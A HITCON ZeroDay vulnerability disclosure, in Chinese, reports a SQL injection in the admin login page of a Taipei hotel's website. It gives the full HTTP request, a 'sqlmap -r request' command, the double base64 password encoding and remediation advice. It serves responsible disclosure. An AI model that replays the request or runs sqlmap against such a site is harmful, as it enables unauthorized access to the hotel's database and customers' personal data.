Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2021-00780
- Vendor: 台北老爺大酒店
- Title: 台北老爺大酒店 Sqli
- Introduction: Sqli
處理狀態
目前狀態
公開
Last Update : 2021/12/28
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2021/10/28 22:31:44 : 新提交 (由 水皮 更新此狀態)
- 2021/10/28 22:33:59 : 新提交 (由 水皮 更新此狀態)
- 2021/10/28 22:34:30 : 新提交 (由 水皮 更新此狀態)
- 2021/10/29 22:37:03 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/11/02 15:48:56 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/11/02 15:48:56 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/11/02 15:48:56 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/12/28 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2021-00780
- 通報者:waterpeitw (水皮)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.royal-taipei.com.tw/admin/
敘述
今天想要吃蛋糕
聽說台北老爺大酒店的蛋糕很好吃
就來到 蛋糕 研究一下有什麼
我抬頭看了一下冷氣, 好冷...
打了個冷顫,靈機一動,也許admin底下有隱藏的蛋糕
這不是我要的蛋糕! !(拍桌
也許是太常按 ' 跟enter,拍了桌以後就....
request
POST /admin/check_user.php HTTP/1.1
Host: www.royal-taipei.com.tw
Content-Length: 25
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.royal-taipei.com.tw
Content-Type: application/x-www-form-urlencoded
User-Agent: iPad
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.royal-taipei.com.tw/admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
adname=admin&adpass=admin
sqlmap -r request
密碼編碼是base64 encode *2
修補建議
1. 過濾使用者輸入
2. 不要用base64
3. 不要用弱密碼
4. ip 登入白名單不要是空的
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。